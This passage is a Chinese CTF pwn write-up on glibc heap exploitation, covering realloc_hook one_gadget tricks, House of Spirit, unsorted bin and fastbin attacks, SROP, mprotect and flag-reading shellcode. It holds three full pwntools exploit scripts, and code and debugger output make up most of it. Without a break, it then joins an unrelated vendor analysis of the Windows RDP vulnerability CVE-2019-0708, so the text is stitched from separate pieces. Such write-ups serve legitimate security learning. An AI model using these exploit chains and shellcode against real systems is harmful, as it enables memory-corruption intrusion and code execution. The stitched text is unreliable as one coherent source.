[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
原因就是环境对不上，接下来讲下如何让环境对的上这个
1. 首先将realloc_hook覆盖成随便一个无法正常运行的地址
例如这种 payload = "a"*0xb + p64(0xAAAAAAAA)
成功断下
1. 查看现在栈环境，跟上面的差别是什么
gdb-peda$ x/10gx $rsp+0x30-0x20
0x7ffc01f8c508: 0x0000000000000000 0x0000000000000000
0x7ffc01f8c518: 0x00007fb957514e90 0x00007ffc01f8c680
0x7ffc01f8c528: 0x0000562794411ca1 0x0000000000000a31
0x7ffc01f8c538: 0x0000000000000000 0x00007ffc01f8c580
0x7ffc01f8c548: 0x0000562794411a40 0x00007ffc01f8c680
gdb-peda$ x/10gx $rsp+0x30
0x7ffc01f8c528: 0x0000562794411ca1 0x0000000000000a31
0x7ffc01f8c538: 0x0000000000000000 0x00007ffc01f8c580
0x7ffc01f8c548: 0x0000562794411a40 0x00007ffc01f8c680
0x7ffc01f8c558: 0x0000000000000000 0x0000000000000000
0x7ffc01f8c568: 0x0000562794411d63 0x0000000094411a40
gdb-peda$ x/10gx $rsp+0x50
0x7ffc01f8c548: 0x0000562794411a40 0x00007ffc01f8c680
0x7ffc01f8c558: 0x0000000000000000 0x0000000000000000
0x7ffc01f8c568: 0x0000562794411d63 0x0000000094411a40
0x7ffc01f8c578: 0x0000000000000001 0x00007ffc01f8c5a0
0x7ffc01f8c588: 0x0000562794412001 0x0000000100000000
gdb-peda$ x/10gx $rsp+0x70
0x7ffc01f8c568: 0x0000562794411d63 0x0000000094411a40
0x7ffc01f8c578: 0x0000000000000001 0x00007ffc01f8c5a0
0x7ffc01f8c588: 0x0000562794412001 0x0000000100000000
0x7ffc01f8c598: 0x5c71a837f5655700 0x0000562794412050
0x7ffc01f8c5a8: 0x00007fb9574fe830 0x0000000000000001
看，上述环境没有一个符合了，那么现在该如何做呢，发觉0x10可以，0x40可以，还有0x60可以，
栈是往低地址生长的
也就是说我们只要将rsp提高0x10,就变成rsp+0x10+0x30了就可以了
调用一个函数过后通常来说栈是平衡的
只要我们稍微改动一下我们调用的位置就行了，比如函数头地址+4，从这里开始执行，假设绕过一个push，这样的话，就相当于pop多一个，pop多一个的话，esp会提高一个寄存器大小的位置，也就是rsp=rsp+0x8
利用这个特性，我们也就是说可以调整栈，让其指定位置为0
我们调整第2个one_gadget吧，让其提高0x10就可以了，怎么让其提高呢，我们可以利用malloc这个函数，因为他会调用malloc_hook，组合调用
我就选了malloc
gdb-peda$ p __libc_malloc
$1 = {void *(size_t)} 0x7f4137102130 <__GI___libc_malloc>
gdb-peda$ disassemble 0x7f4137102130
Dump of assembler code for function __GI___libc_malloc:
0x00007f4137102130 <+0>: push rbp
0x00007f4137102131 <+1>: push rbx
0x00007f4137102132 <+2>: sub rsp,0x8
0x00007f4137102136 <+6>: mov rax,QWORD PTR [rip+0x33fdb3] # 0x7f4137441ef0
0x00007f413710213d <+13>: mov rax,QWORD PTR [rax]
0x00007f4137102140 <+16>: test rax,rax
0x00007f4137102143 <+19>: jne 0x7f4137102298 <__GI___libc_malloc+360>
0x00007f4137102149 <+25>: mov rax,QWORD PTR [rip+0x33fc40] # 0x7
看函数头，我们发觉有两个push，一个sub rsp,0x8,
计算下我们有0x18可控，所以我们提高0x10的话，就从+2开始就行了，
所以 **payload = "a"*0xb + p64(malloc+0x2) + p64(libc.address + one_gadget[1])**
前面的a填充过后就是realloc_hook，覆盖成malloc+0x2，所以这样让栈提高0x10,接下来是malloc函数，
具体个执行过程呢就是realloc_hook被覆盖成malloc+2了，malloc_hook被覆盖成one_gadget了，
所以先执行的是malloc+2,然后执行malloc_hook
0x7f1e223d2132 <malloc+2> sub rsp, 8
► 0x7f1e223d2136 <malloc+6> mov rax, qword ptr [rip + 0x33fdb3] <0x7f1e223d2132>
0x7f1e223d213d <malloc+13> mov rax, qword ptr [rax]
0x7f1e223d2140 <malloc+16> test rax, rax
0x7f1e223d2143 <malloc+19> jne malloc+360 <0x7f1e223d2298>
↓
0x7f1e223d2298 <malloc+360> mov rsi, qword ptr [rsp + 0x18]
0x7f1e223d229d <malloc+365> add rsp, 8
0x7f1e223d22a1 <malloc+369> pop rbx
0x7f1e223d22a2 <malloc+370> pop rbp
0x7f1e223d22a3 <malloc+371> jmp rax
↓
0x7f1e2239326a <do_system+1098> mov rax, qword ptr [rip + 0x37ec47]
void *
__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0));
}
malloc调用前会查看mallo_hook是否存在，存在就调用malloc_hook
0x00007f1e223d2130 <+0>: push rbp
0x00007f1e223d2131 <+1>: push rbx
0x00007f1e223d2132 <+2>: sub rsp,0x8
=> 0x00007f1e223d2136 <+6>: mov rax,QWORD PTR [rip+0x33fdb3] # 0x7f1e22711ef0
0x00007f1e223d213d <+13>: mov rax,QWORD PTR [rax]
0x00007f1e223d2140 <+16>: test rax,rax
0x00007f1e223d2143 <+19>: jne 0x7f1e223d2298 <__GI___libc_malloc+360>
这里就是查看malloc_hook部分，若有调到+360处
看，成功迁移位置
这个其实可以从malloc_hook调到realloc_hook，自然也可以跳别的函数，发挥想象
### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from pwn import *
local = 1
host = '127.0.0.1'
port = 10000
context.log_level = 'debug'
exe = '/tmp/tmp.a0yo4SjOZB/Box'
context.binary = exe
elf = ELF(exe)
libc = elf.libc
#don't forget to change it
if local:
io = process(exe)
else:
io = remote(host,port)
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda name,data : io.success(name + ": 0x%x" % data)
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
# RUNPATH: '/usr/lib/glibc/2.23-0ubuntu10_amd64/'
def c(idx):
sla("Your Choice: ", str(idx))
def new(idx, size):
c(1)
sla("Box ID: ", str(idx))
sla("Box Size: ", str(size))
def edit(idx, content):
c(2)
sla("Box ID: ", str(idx))
sla("Box Content: ", content)
def free(idx):
c(3)
sla("Box ID: ", str(idx))
def exit():
c(4)
def exp():
payload = p64(0xfbad1800)+ p64(0)*3 + '\x00'
edit(-12, payload)
lg("text_base", text_base)
addr = uu64(r(8))
libc.address = addr - 0x18c7c2
if (libc.address&0xffff)%0x1000!=0:
raise EOFError
lg("addr", addr)
new(0, 0x68)
new(1, 0x68)
free(0)
new(1, 0)
new(0, 0)
new(0, 0x68)
new(1, 0x68)
edit(0, p64(libc.symbols['__malloc_hook']-0x23))
new(2, 0x68)
new(3, 0x68)
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
realloc = libc.symbols['__libc_realloc']
malloc_hook = libc.symbols['__malloc_hook']
malloc = libc.symbols['__libc_malloc']
payload = "a"*0xb + p64(0xAAAAAAAA)
#payload = "a"*0xb + p64(malloc+0x1) + p64(libc.address + one_gadget[2])
payload = "a"*0xb + p64(malloc+0x2) + p64(libc.address + one_gadget[1])
edit(3, payload)
gdb.attach(io)
new(0, 1)
if __name__ == '__main__':
while True:
try:
exp()
io.interactive()
break
except Exception as e:
print(e)
io.close()
io = process(exe)
## unctf driver
开头没想到怎么利用，他利用了top_chunk合并将unsortbin合并了，以前只是防止合并，利用合并也是个知识盲点
/*
If the chunk borders the current high end of memory,
consolidate into top
*/
// 如果要释放的chunk的下一个chunk是top chunk，那就合并到 top chunk
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}
House Of Spirit¶
介绍
House of Spirit 是 the Malloc Maleficarum 中的一种技术。
该技术的核心在于在目标位置处伪造 fastbin chunk，并将其释放，从而达到分配指定地址的 chunk 的目的。
要想构造 fastbin fake chunk，并且将其释放时，可以将其放入到对应的 fastbin 链表中，需要绕过一些必要的检测，即
fake chunk 的 ISMMAP 位不能为 1，因为 free 时，如果是 mmap 的 chunk，会单独处理。
fake chunk 地址需要对齐， MALLOC_ALIGN_MASK
fake chunk 的 size 大小需要满足对应的 fastbin 的需求，同时也得对齐。
fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ，同时也不能大于av->system_mem 。
fake chunk 对应的 fastbin 链表头部不能是该 fake chunk，即不能构成 double free 的情况。
又补充了知识盲区，要将chunk放入fastbin，得过掉检查，其中一个便是下一个chunk的size检查，不能小于两倍的size_s，并且不能大于sysstem_mem
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long) (size) <= (unsigned long) (get_max_fast())
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
//默认 #define TRIM_FASTBINS 0，因此默认情况下下面的语句不会执行
// 如果当前chunk是fast chunk，并且下一个chunk是top chunk，则不能插入
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
// 下一个chunk的大小不能小于两倍的SIZE_SZ,并且
// 下一个chunk的大小不能大于system_mem， 一般为132k
// 如果出现这样的情况，就报错。
if (__builtin_expect(
chunksize_nomask(chunk_at_offset(p, size)) <= 2 * SIZE_SZ, 0) ||
__builtin_expect(
chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0)) {
/* We might not have a lock at this point and concurrent
modifications
of system_mem might have let to a false positive. Redo the test
after getting the lock. */
if (have_lock || ({
assert(locked == 0);
__libc_lock_lock(av->mutex);
locked = 1;
chunksize_nomask(chunk_at_offset(p, size)) <= 2 * SIZE_SZ ||
chunksize(chunk_at_offset(p, size)) >= av->system_mem;
})) {
errstr = "free(): invalid next size (fast)";
goto errout;
}
if (!have_lock) {
__libc_lock_unlock(av->mutex);
locked = 0;
}
}
// 将chunk的mem部分全部设置为perturb_byte
free_perturb(chunk2mem(p), size - 2 * SIZE_SZ);
// 设置fast chunk的标记位
set_fastchunks(av);
// 根据大小获取fast bin的索引
unsigned int idx = fastbin_index(size);
// 获取对应fastbin的头指针，被初始化后为NULL。
fb = &fastbin(av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
// 使用原子操作将P插入到链表中
mchunkptr old = *fb, old2;
unsigned int old_idx = ~0u;
do {
/* Check that the top of the bin is not the record we are going to
add
(i.e., double free). */
// so we can not double free one fastbin chunk
// 防止对 fast bin double free
if (__builtin_expect(old == p, 0)) {
errstr = "double free or corruption (fasttop)";
goto errout;
}
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
deallocated. See use of OLD_IDX below for the actual check. */
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
p->fd = old2 = old;
} while ((old = catomic_compare_and_exchange_val_rel(fb, p, old2)) !=
old2);
// 确保fast bin的加入前与加入后相同
if (have_lock && old != NULL && __builtin_expect(old_idx != idx, 0)) {
errstr = "invalid fastbin entry (free)";
goto errout;
}
}
还用到了unsortbin攻击，强，各种组合，多次house of sprit加unsortbin攻击
整体流程，unlink造成可以house of sprit攻击，然后通过多次house of
sprit攻击，后门用unsortedbin攻击，最后getshell,流程复杂，原理简单
我本来想用chunk extends加fastbin
attack，发觉他给了这么多功能好像没用上，应该不是这个攻击方法。。。然后就去看wp了，发觉他的wp攻击流程那些点全用上了，不过复杂起来了，赛后还看到另外师傅的wp，就是说这个有非预期，就是用chunk
extends加fastbin attack
### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from pwn import *
local = 1
host = '127.0.0.1'
port = 10000
context.log_level = 'debug'
exe = '/tmp/tmp.ReKO1V3cZk/pwn'
context.binary = exe
elf = ELF(exe)
libc = elf.libc
#don't forget to change it
if local:
io = process(exe)
else:
io = remote(host,port)
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda name,data : io.success(name + ": 0x%x" % data)
# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
# RUNPATH: '/usr/lib/glibc/2.23-0ubuntu10_amd64/'
def c(idx):
sla("Your Choice>> \n", str(idx))
def new(idx, content):
c(1)
c(idx)
sa("Please input car's name: \n", content)
def show():
c(2)
def edit(idx, content):
c(4)
sla("Please input car's index: ", str(idx))
sa("Please input name: ", content)
def free(idx):
c(3)
sla("Please input car's index: ", str(idx))
def down(idx):
c(5)
sla(":", str(idx))
sla(">>", 2)
def up1(idx):
c(5)
sla(":", str(idx))
sla(">>", "1")
sla(">>", "1")
ru("Car's Speed is ")
return int(ru("Km/h"), 10)
def up2(idx):
c(5)
sla(":", str(idx))
sla(">>", "1")
sla(">>", "2")
ru("Car's Speed is ")
return int(ru("Km/h"), 10)
def getlicense(idx, content):
c(6)
sla(":", str(idx))
sla(":", content)
def exp():
c(8)
ru("gift: ")
heap_base = int(r(14), 16)
heap_base = (heap_base >> 12) << 12
new(3, "3"*0x4)
new(2, "2"*0x4)
free(1)
free(0)
new(2, "2"*0x4) #0
new(2, "2"*0x4) #1
payload = flat([
0,
0xf0,
heap_base+0x58-0x18,
heap_base+0x58-0x10,
p64(0)*3,
0x1234
])
payload = payload.ljust(0xf0)
payload += p64(0xf0)
edit(0, payload)
free(1)
for i in range(48):
down(0)
for i in range(3):
up1(0)
for i in range(3):
up2(0)
up1(0)
payload = flat([
p64(0)*7,
0x1234,
])
payload = payload.ljust(0x220, '\x00')
new(3, payload)
free(0)
payload = flat([
0,
0x68,
0,
heap_base+0x2b0,
0,
0x101,
0,
0x221
])
new(1, payload) #0
for i in range(48):
down(1)
for i in range(3):
up1(1)
for i in range(3):
up2(1)
up1(1)
free(0)
payload = flat([
0,
0x220,
0,
heap_base + 0x270,
0x220
])
new(1, payload)
show()
ru("Car 1's name: ")
main_arena = uu64(r(6))-88
libc.address = main_arena - 0x10 - libc.symbols['__malloc_hook']
__free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
free(0)
payload = flat([
0,
0,
0x220,
heap_base + 0x2e0,
0x220
])
new(1, payload)
new(3, "aaa\n")
free(1)
free(0)
payload = flat([
p64(0)*2,
0x220,
heap_base + 0x2e0,
0x220,
0x231,
main_arena+88,
heap_base
])
new(1, payload)
gdb.attach(io)
new(3, p64(0))
free(0)
payload = flat([
"/bin/sh\x00"*2,
p64(0x220),
p64(__free_hook),
p32(0),
'\n'
])
new(1, payload)
getlicense(1, p64(system))
free(0)
lg("main_arena", main_arena)
lg("heap_base", heap_base)
if __name__ == '__main__':
exp()
io.interactive()
## unctf_orwpwn
[+] libc.addressess-->0x7f4fabd43000
[*] Switching to interactive mode
flag{123456}
先放上成功结果
### 新点
#### mprotect改内存页权限
以前不知道这个姿势，知道后感觉挺骚的，挺强的一个方法
mprotect传入参数后，能让指定内存页变成可执行，所以利用方式
[mprotect改内存页权限](https://blog.csdn.net/Roland_Sun/article/details/33728955)
1. 知道一个内存页的地址
2. 这个内存页内容可控
[x64系统调用表](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
#### shellcode编写
这个我以前也很怕的，这次自己写了下好像也就那样嘛，不会很复杂的，通常来说，你只要自己调试下就行了
from pwn import *
if __name__ == '__main__':
shellcode = shellcraft.amd64.open('flag')
shellcode += '''
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edi, 1
mov rsi, rsp
push 1
pop rax
syscall
'''
print(shellcode)
print(asm(shellcode, arch='amd64'))
可以通过context设置平台，context.arch='amd64'
我这里没设置，所以就用每次加个amd64
打开flag文件部分，大概就是
1. 设置rax=2
2. rdi = filename
3. rsi = 0 #标志只读方式
4. rdx = 0 # mode其实可以不填，所以，不用设置也可以
5. rax=2 # 系统中断号
6. 调用syscall
后面几个流程差不多，看下中断表就行
自己写的话
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
然后我为了省事，直接用shellcraft.amd64.open('flag')生成了
接下来读取函数，因为返回了fd，存在rax里，所以第一步要保存rax值到rdi里
mov rdi,rax
mov rsi,rsp
xor eax,eax
syscall
在接下来写函数
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
最后推荐篇文章
[shellcode编写](https://xz.aliyun.com/t/6645)
感觉总结得挺好的
#### SROP
这部分可以去看下ctf-wiki吧
[SROP攻击](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#srop)
### 漏洞利用过程
#### 准备部分
def choice(idx):
sla("Your Choice: ", str(idx))
def new(size, content):
choice(1)
sla("Please input size: ", str(size))
if len(content) == (size+1):
sa("Please input content: ", content)
else:
sla("Please input content: ", content)
def edit(idx, content):
choice(3)
sla("Please input idx: ", str(idx))
sa("Please input content: ", content)
def delete(idx):
choice(2)
sla("Please input idx: ", str(idx))
def exit():
choice(4)
#### IO_file攻击
这部分就是通过溢出，修改size,然后free掉一个fake的，最后通过IO_file攻击泄露地址，
这部分我是拿的ex师傅的部分的，我自己也写了个这部分的，利用chunk extends，搞复杂了，那会，感觉这个简洁些
new(0x68, '1') #0
new(0x78, '2') #1
payload = p64(0) + p64(0x21)
new(0x68, payload*6) #2
new(0x68, payload*6) #3
delete(0)
new(0x68, 'a'*0x60 + p64(0) + p8(0xf1)) #0
delete(1)
delete(2)
new(0x78, '1') #1
delete(0)
new(0x68, 'a'*0x60 + p64(0) + p8(0xa1)) #0
delete(1)
new(0x98, '1') #1
edit(1, 'b'*0x70 + p64(0) + p64(0x71) + p16(0x8620-0x40-0x3))
new(0x68, '\n') #2
new(0x68, '\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 ) #3
r(0x88)
libc.address = uu64(r(8)) - libc.symbols['_IO_2_1_stdin_']
lg("libc.addressess", libc.address)
#### unsortedbin攻击
edit(1, 'b'*0x70 + p64(0) + p64(0x91))
delete(2)
edit(1, 'b'*0x70 + p64(0) + p64(0x91) + p64(0) + p64(libc.symbols['__free_hook']-0x20))
new(0x88, '2') #2
#### fastbin attack
这里有个点点一下，就是srop部分，因为setcontext最后一句xor eax,eax，再加上syscall就是相当于调用read,
rdi 第一个参数 fd
rsi 第二个参数 buf
rdx 第三个参数 count 大小
rsp 执行完后的rsp
rip 就是 执行syscall加ret
edit(1, 'b'*0x70 + p64(0) + p64(0x71))
delete(2)
edit(1, 'b'*0x70 + p64(0) + p64(0x71) + p64(libc.symbols['__free_hook']-0x13))
frame = SigreturnFrame()
frame.rdi = 0 # fd为0
frame.rsi = (libc.symbols['__free_hook']) & 0xfffffffffffff000 #
frame.rdx = 0x2000
frame.rsp = (libc.symbols['__free_hook']) & 0xfffffffffffff000
frame.rip = libc.address + 0x00000000000bc375 #: syscall; ret;
payload = str(frame)
new(0x68, payload[0x80:0x80+0x60])
new(0x68, '\x00'*3 + p64(libc.symbols['setcontext']+53))
edit(1, payload[:0x98])
#### mprotect修改内存页权限
delete(1)
layout = [
libc.address + 0x0000000000021102, #: pop rdi; ret;
libc.symbols['__free_hook'] & 0xfffffffffffff000, # 开始地址
libc.address + 0x00000000000202e8, #: pop rsi; ret;
0x2000, # 空间大小
libc.address + 0x0000000000001b92, #: pop rdx; ret;
7, # rwx可读可写可执行
libc.address + 0x0000000000033544, #: pop rax; ret;
10, #mprotect调用号
libc.address + 0x00000000000bc375, #: syscall; ret;
libc.address + 0x0000000000002a71, #: jmp rsp;
]
#### shellcode jmp rsp
第一份shellcode ex师傅的
第二份用pwntools加自己编写一些
第三份纯自己写一遍
shellcode = asm('''
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
''')
shellcode = shellcraft.amd64.open('flag')
shellcode += '''
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edi, 1
mov rsi, rsp
push 1
pop rax
syscall
'''
shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
#### getshell走起
s(flat(layout) + shellcode)
。。。好像不能啊,只能特么的读flag，没意思
### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from pwn import *
local = 1
host = '192.168.150.135'
port = 10001
#context.log_level = 'debug'
exe = '/tmp/tmp.97OiO1SVl1/pwn'
context.binary = exe
elf = ELF(exe)
libc = elf.libc
#don't forget to change it
if local:
io = process(exe)
else:
io = remote(host,port)
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
# RUNPATH: '/usr/lib/glibc/2.23-0ubuntu10_amd64/'
def choice(idx):
sla("Your Choice: ", str(idx))
def new(size, content):
choice(1)
sla("Please input size: ", str(size))
if len(content) == (size+1):
sa("Please input content: ", content)
else:
sla("Please input content: ", content)
def edit(idx, content):
choice(3)
sla("Please input idx: ", str(idx))
sa("Please input content: ", content)
def delete(idx):
choice(2)
sla("Please input idx: ", str(idx))
def exit():
choice(4)
def exp():
new(0x68, '1') #0
new(0x78, '2') #1
payload = p64(0) + p64(0x21)
new(0x68, payload*6) #2
new(0x68, payload*6) #3
delete(0)
new(0x68, 'a'*0x60 + p64(0) + p8(0xf1)) #0
delete(1)
delete(2)
new(0x78, '1') #1
delete(0)
new(0x68, 'a'*0x60 + p64(0) + p8(0xa1)) #0
delete(1)
new(0x98, '1') #1
edit(1, 'b'*0x70 + p64(0) + p64(0x71) + p16(0x8620-0x40-0x3))
new(0x68, '\n') #2
new(0x68, '\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 ) #3
r(0x88)
libc.address = uu64(r(8)) - libc.symbols['_IO_2_1_stdin_']
lg("libc.addressess", libc.address)
edit(1, 'b'*0x70 + p64(0) + p64(0x91))
delete(2)
edit(1, 'b'*0x70 + p64(0) + p64(0x91) + p64(0) + p64(libc.symbols['__free_hook']-0x20))
new(0x88, '2') #2
edit(1, 'b'*0x70 + p64(0) + p64(0x71))
delete(2)
edit(1, 'b'*0x70 + p64(0) + p64(0x71) + p64(libc.symbols['__free_hook']-0x13))
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = (libc.symbols['__free_hook']) & 0xfffffffffffff000 #
frame.rdx = 0x2000
frame.rsp = (libc.symbols['__free_hook']) & 0xfffffffffffff000
frame.rip = libc.address + 0x00000000000bc375 #: syscall; ret;
payload = str(frame)
new(0x68, payload[0x80:0x80+0x60])
new(0x68, '\x00'*3 + p64(libc.symbols['setcontext']+53))
edit(1, payload[:0x98])
delete(1)
layout = [
libc.address + 0x0000000000021102, #: pop rdi; ret;
libc.symbols['__free_hook'] & 0xfffffffffffff000,
libc.address + 0x00000000000202e8, #: pop rsi; ret;
0x2000,
libc.address + 0x0000000000001b92, #: pop rdx; ret;
7,
libc.address + 0x0000000000033544, #: pop rax; ret;
10,
libc.address + 0x00000000000bc375, #: syscall; ret;
libc.address + 0x0000000000002a71, #: jmp rsp;
]
shellcode = asm('''
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
''')
shellcode = shellcraft.amd64.open('flag')
shellcode += '''
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edi, 1
mov rsi, rsp
push 1
pop rax
syscall
'''
shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
#shellcode = asm(shellcode, arch='amd64')
gdb.attach(io)
s(flat(layout) + shellcode)
#libc.address = uu64(r(8)) - libc.symbols['__IO_2_1_stdin_']
#lg("libc.address", libc.address)
if __name__ == '__main__':
while True:
try:
exp()
io.interactive()
break
except Exception as e:
print(e)
io.close()
io = process(exe)
## 总结
堆部分我觉得入门已经学完了，至于house of 部分，等到用到的时候在学，因为堆结构和点看出来了，后面就看个人了，可以现学house of部分
## 参考文章
[ex师傅的orw](http://blog.eonew.cn/archives/1243)
emm,萝卜师傅那篇文章找不到了，参考了他的那个数组负数改stdout部分 | 社区文章 |
**作者： 启明星辰ADLab
公众号：<https://mp.weixin.qq.com/s/5WRJUPgPXU2Ja_R6pRPh_g>**
## 1\. 背景
2019 年 5 月 14 日微软官方发布紧急安全补丁，修复了 Windows 远程桌面服务的远程代码执行高危漏洞
CVE-2019-0708（CNVD-2019-14264、CNNVD-201905-434），该漏洞影响了某些旧版本的 Windows
系统。由于该漏洞无需身份验证且无需用户交互，所以这个漏洞可以通过网络蠕虫的方式被利用，利用此漏洞的恶意软件可以从被感染的计算机传播到网络中其他易受攻击的计算机，传播方式与
2017 年 WannaCry 恶意软件的传播方式类似。
## 2\. 影响范围
* Windows 7
* Windows Server 2008
* Windows Server 2008 R2
* Windows 2003
* Windows XP
## 3\. RDP协议简介
RDP 是微软终端服务应用的协议，服务端基于 Windows 操作系统，Windows 从 NT 开始提供终端服务。RDP 协议基于 T.128（T.120
协议族）提供多通道通信，并进行了拓展。
RDP 协议的连接流程可以分为 10 个不同的阶段。这里我们关注通道连接相关的几个阶段。
（1）ConnectionInitiation（连接初始化）
客户端通过向服务器发送`Class 0 X.224 ConnectionRequest PDU`启动连接请求。服务器使用`Class 0 X.224
Connection Confirm PDU`进行响应。之后，客户端和服务器之间发送的所有后续数据都被包裹在`X.224`数据协议数据单元（PDU）中。
（2） BasicSettings Exchange（交换基本设置）
通过使用`MCS Connect Initial PDU`和`MCS Connect Response PDU`在客户端和服务器之间交换基本设置。GCC
的全称是 Generic Conference Control，GCC 作为 T.124 的标准协议，用于连续传输大量数据时，将数据整理分块传输。
（3）Channel Connection （虚拟通道连接）
客户端通过发送`multiple MCS Channel Join Request PDUs`加入用户信道，输入/输出通道及所有的静态虚拟通道（IO
和静态虚拟通道 ID信息在 GCC 数据包中）。服务器通过`MCS Channel Join Confirm PDU`回复每个通道。
## 4\. 补丁分析
通过补丁包分析，我们发现补丁前后差异在于`termdd.sys`文件的
`IcaBindVirtualChannels`及`IcaReBindVirtualChannels`，增加了对`MS_T120`协议通道的判定。如果是通道协议名为`MS_T120`，则设定`IcaBindChannel`的第三个参数为
31 。
服务端在初始化阶段，会创建`MS_T120`, Index 为 31 的通道。在收到`MCS Connect
Initial`数据封包后进行通道创建和绑定操作。
在`IcaBindVirtualChannels`函数中进行绑定时，`IcaFindChannelByName`函数只根据通道名进行通道查找。当通道名为`MS_T120`(不区分大小写)时，会找到系统内部通道
`MS_T120`的通道并与之绑定，绑定后，通道索引会即被更改为新的通道索引。
## 5\. 漏洞原理分析
我们在客户端`MCS Connect Initial`数据封包中，增加一个名为`MS_T120`的通道。
接下来，我们释放这个 Channel
。我们向`MS_T120`通道发送构造的数据，但由于这个通道已经被绑定到内置的`MS_T120`通道，所以数据最终会派发到相应的处理函数`rdpwsx!MCSProtData`中，然后调用`MCSChannelClose`函数关闭通道。
此后，我们向系统的`MS_T120`通道发送数据，再次引用被关闭的通道，从而导致 UAF 漏洞。
## 6\. 解决方案
* 目前启明星辰已经发布了对应的产品级解决方案，相关链接：https://www.venustech.com.cn/article/1/9148.html。
